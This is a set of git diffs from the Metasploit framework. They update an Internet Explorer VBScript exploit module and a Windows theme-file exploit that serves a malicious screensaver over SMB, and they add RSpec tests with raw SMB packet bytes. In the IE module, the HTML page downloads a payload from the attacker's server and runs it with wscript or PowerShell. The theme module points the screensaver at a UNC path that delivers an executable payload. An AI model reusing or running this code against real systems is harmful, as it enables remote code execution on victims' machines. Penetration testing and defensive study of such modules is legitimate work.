The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
For this module to be successful, powershell is required on the target machine. On
Internet Explorer versions using Protected Mode, the user has to manually allow
powershell.exe to execute in order to be compromised.
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
Windows 10, and there is no patch for Windows XP or older.
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
newer Windows systems, the exploit will try using Powershell instead.
},
'License' => MSF_LICENSE,
'Author' =>
@ -32,6 +34,7 @@ class Metasploit4 < Msf::Exploit::Remote
'Wesley Neelen', # security[at]forsec.nl
'GradiusX <francescomifsud[at]gmail.com>',
'b33f', # @FuzzySec
'sinn3r'
],
'References' =>
[
@ -46,14 +49,24 @@ class Metasploit4 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[
'Windows XP',
{
'os_name' => OperatingSystems::Match::WINDOWS_XP
}
],
[
'Other Windows x86',
{
'os_name' => OperatingSystems::Match::WINDOWS,
}
]
],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:ua_name => HttpClients::IE,
:os_name => /win/i,
:arch => 'x86',
:arch => ARCH_X86,
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
},
'DefaultOptions' =>
@ -260,20 +273,18 @@ end function
end
def get_html()
def vbs_vector(prep)
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
if datastore['TRYUAC']
tryuac = 'runas'
else
tryuac = 'open'
end
payload_src = (datastore['SSL'] ? 'https' : 'http')
payload_src << '://'
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
payl.slice! "powershell.exe "
prep = vbs_prepare()
html = %Q|
<!doctype html>
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
%Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
@ -282,8 +293,19 @@ end function
function runaaaa()
On Error Resume Next
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "GET", "#{payload_src}", False
xmlhttp.send
Set objFSO=CreateObject("Scripting.FileSystemObject")
folder = objFSO.GetSpecialFolder(2)
scriptName = folder + "\\#{vbs_name}"
Set objFile = objFSO.CreateTextFile(scriptName,True)
objFile.Write xmlhttp.responseText
objFile.Close
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
end function
</script>
@ -293,12 +315,71 @@ end function
</body>
</html>
|
end
def powershell_vector(prep)
if datastore['TRYUAC']
tryuac = 'runas'
else
tryuac = 'open'
end
# Powershell was the first technique demonstrated publicly.
# On some Windows setups such as Windows 7 without a service pack, this works quite well.
# But other Windows setups you will get a prompt.
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
payl.slice! "powershell.exe "
%Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
|
end
def get_html
prep = vbs_prepare()
case get_target.name
when OperatingSystems::Match::WINDOWS_XP
return vbs_vector(prep)
else
return powershell_vector(prep)
end
end
def on_request_exploit(cli, request, target_info)
print_status("Requesting: #{request.uri}")
send_exploit_html(cli, get_html())
case request.uri
when /\.gif/
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
p = regenerate_payload(cli)
data = generate_payload_exe({:code => p.encoded})
# The default template uses \n, and wscript.exe isn't very happy about that.
# It should be \r\n .
vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")
send_response(cli, vbs)
else
# The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
# something is not right.
send_not_found(cli)
end
else
send_exploit_html(cli, get_html)
end
end
end

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info={})
super(update_info(info,
@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Eduardo Prado', # Vulnerability discovery
'juan vazquez' # Metasploit module
'juan vazquez', # Metasploit module
'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Msf::Exploit::Remote::SMB::Server::Share
],
'References' =>
[
@ -60,27 +61,18 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
], self.class)
deregister_options('FILE_CONTENTS')
end
def exploit
def primer
self.file_contents = generate_payload_exe
print_status("Malicious SCR available on #{unc}...")
if (datastore['UNCPATH'])
@unc = datastore['UNCPATH']
print_status("Remember to share the malicious EXE payload as #{@unc}")
else
print_status("Generating our malicious executable...")
@exe = generate_payload_exe
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
@share = rand_text_alpha(5 + rand(5))
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
end
print_status("Creating '#{datastore['FILENAME']}' file ...")
# Default Windows XP / 2003 theme modified
print_status("Creating '#{datastore['FILENAME']}' file ...")
theme = <<-EOF
; Copyright (c) Microsoft Corp. 1995-2001
@ -112,322 +104,12 @@ Pattern=
ScreenSaveActive=0
[boot]
SCRNSAVE.EXE=#{@unc}
SCRNSAVE.EXE=#{unc}
[MasterThemeSelector]
MTSM=DABJDKT
EOF
file_create(theme)
print_good("Let your victim open #{datastore['FILENAME']}")
if not datastore['UNCPATH']
print_status("Ready to deliver your payload on #{@unc}")
super
end
end
# TODO: these smb_* methods should be moved up to the SMBServer mixin
# development and test on progress
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
vprint_status("Received command #{cmd} from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
wordcount = pkt['Payload']['SMB'].v['WordCount']
if wordcount == 0x0D # It's the case for Share Security Mode sessions
smb_cmd_session_setup(c, buff)
else
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
smb_cmd_trans(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
smb_cmd_create(c, buff)
when CONST::SMB_COM_READ_ANDX
smb_cmd_read(c, buff)
else
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
pkt['Payload'].v['MaxMPX'] = 50
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['SystemTimeLow'] = time_lo
pkt['Payload'].v['SystemTimeHigh'] = time_hi
pkt['Payload'].v['ServerTimeZone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = 0x80f3fd
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 3
pkt['Payload'].v['AndX'] = 0x75
pkt['Payload'].v['Reserved1'] = 00
pkt['Payload'].v['AndXOffset'] = 96
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
pkt['Payload'].v['Payload'] =
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
tree_connect_response = ""
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
tree_connect_response << "A:\x00" # Service
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
# Fix the Netbios Session Service Message Length
# to have into account the tree_connect_response,
# need to do this because there isn't support for
# AndX still
my_pkt = pkt.to_s + tree_connect_response
original_length = my_pkt[2, 2].unpack("n").first
original_length = original_length + tree_connect_response.length
my_pkt[2, 2] = [original_length].pack("n")
c.put(my_pkt)
end
def smb_cmd_create(c, buff)
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 42
pkt['Payload'].v['AndX'] = 0xff # no further commands
pkt['Payload'].v['OpLock'] = 0x2
# No need to track fid here, we're just offering one file
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = @lo
pkt['Payload'].v['CreateTimeHigh'] = @hi
pkt['Payload'].v['AccessTimeLow'] = @lo
pkt['Payload'].v['AccessTimeHigh'] = @hi
pkt['Payload'].v['WriteTimeLow'] = @lo
pkt['Payload'].v['WriteTimeHigh'] = @hi
pkt['Payload'].v['ChangeTimeLow'] = @lo
pkt['Payload'].v['ChangeTimeHigh'] = @hi
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
pkt['Payload'].v['AllocLow'] = 0x100000
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = @exe.length
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = 0
pkt['Payload'].v['IPCState'] = 0x7
pkt['Payload'].v['IsDirectory'] = 0
c.put(pkt.to_s)
else
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_read(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 0xff # no more commands
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = length
pkt['Payload'].v['DataOffset'] = 59
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 6
pkt['Payload'].v['ByteCount'] = length
pkt['Payload'].v['Payload'] = @exe[offset, length]
c.put(pkt.to_s)
end
def smb_cmd_trans(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
case sub_command
when 0x5 # QUERY_PATH_INFO
smb_cmd_trans_query_path_info(c, buff)
when 0x1 # FIND_FIRST2
smb_cmd_trans_find_first2(c, buff)
else
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
c.put(pkt.to_s)
end
end
def smb_cmd_trans_query_path_info(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['SetupData'].length < 16
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
# return a Directory answer
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 40
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 40
pkt['Payload'].v['DataOffset'] = 60
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# QUERY_PATH_INFO Parameters
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
"\x10\x00\x00\x00" + # File attributes => directory
"\x00\x00\x00\x00" # Unknown
c.put(pkt.to_s)
else
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
# returns an object name not found error
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_trans_find_first2(c, buff)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
file_name = Rex::Text.to_unicode(@scr_file)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 10
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
pkt['Payload'].v['ParamCount'] = 10
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 94 + file_name.length
pkt['Payload'].v['DataOffset'] = 68
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# FIND_FIRST2 Parameters
"\xfd\xff" + # Search ID
"\x01\x00" + # Search count
"\x01\x00" + # End Of Search
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Last Name Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[94 + file_name.length].pack("V") + # Next Entry Offset
"\x00\x00\x00\x00" + # File Index
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
"\x80\x00\x00\x00" + # File attributes => directory
[file_name.length].pack("V") + # File name len
"\x00\x00\x00\x00" + # EA List Lenght
"\x00" + # Short file lenght
"\x00" + # Reserved
("\x00" * 24) +
file_name
c.put(pkt.to_s)
end
end

View File

@ -0,0 +1,59 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:response_length) { 39 }
let(:valid_response) do
"\x00\x00\x00\x23\xff\x53\x4d\x42" +
"\x04\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x00\x00\x00"
end
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_close_res" do
it "returns the number of bytes sent" do
expect(mod.send_close_res(client)).to eq(response_length)
end
it "sends a valid SMB_COM_CLOSE response to the client" do
mod.send_close_res(client)
client.seek(0)
res = client.read
expect(res).to eq(valid_response)
end
end
end

View File

@ -0,0 +1,95 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_response_length) { 73 }
let(:default_response) do
"\x00\x00\x00\x45\xff\x53\x4d\x42" +
"\x72\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x11\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00"
end
let(:valid_request) do
"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x43\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" +
"\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" +
"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" +
"\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" +
"\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" +
"\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" +
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
end
let(:valid_response_length) { 81 }
let(:challenge_length) { 8 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_negotitate_res" do
it "returns the number of bytes sent" do
expect(mod.send_negotitate_res(client)).to eq(default_response_length)
end
it "sends a valid SMB_COM_NEGOTIATE response to the client" do
mod.send_negotitate_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_response)
end
end
describe "#smb_cmd_negotiate" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length)
end
it "returns an 8 byte challenge" do
mod.smb_cmd_negotiate(client, valid_request)
client.seek(0)
pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct
pkt.from_s(client.read)
expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length)
end
end
end

View File

@ -0,0 +1,134 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_response_length) { 139 }
let(:default_response) do
"\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\x00\x00\x01\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00"
end
let(:valid_request) do
"\x00\x00\x00\x58\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" +
"\x00\x00\xc0\xfd\x18\xff\x00\xde\xde\x00\x02\x00\x10\x00\x00\x00" +
"\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x90\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x40\x00\x00" +
"\x02\x00\x00\x00\x00\x05\x00\x00\x5c\x00\x00\x00"
end
let(:valid_response) do
"\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x22\xff\x00\x00\x00\x03\xef\xbe\x01\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x00\x00"
end
let(:non_existent_path_request) do
"\x00\x00\x00\x68\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x0c" +
"\x00\x00\x80\x00\x18\xff\x00\xde\xde\x00\x12\x00\x16\x00\x00\x00" +
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00" +
"\x02\x00\x00\x00\x00\x15\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00" +
"\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
end
let(:smb_error_response) do
"\x00\x00\x00\x23\xff\x53\x4d\x42\xa2\x34\x00\x00\xc0\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x00\x00\x00"
end
let(:smb_error_length) { 39 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_nt_create_andx_res" do
it "returns the number of bytes sent" do
expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length)
end
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
mod.send_nt_create_andx_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_response)
end
end
describe "#smb_cmd_nt_create_andx" do
context "when valid request" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length)
end
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
mod.smb_cmd_nt_create_andx(client, valid_request)
client.seek(0)
res = client.read
expect(res).to eq(valid_response)
end
end
context "when non existent path create requests" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length)
end
it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do
mod.smb_cmd_nt_create_andx(client, non_existent_path_request)
client.seek(0)
res = client.read
expect(res).to eq(smb_error_response)
end
end
end
end

View File

@ -0,0 +1,124 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_response_length) { 63 }
let(:default_response) do
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
"\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00"
end
let(:valid_request) do
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
"\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\x00\x00\x00\x00" +
"\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00"
end
let(:valid_response) do
"\x00\x00\x00\x45\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
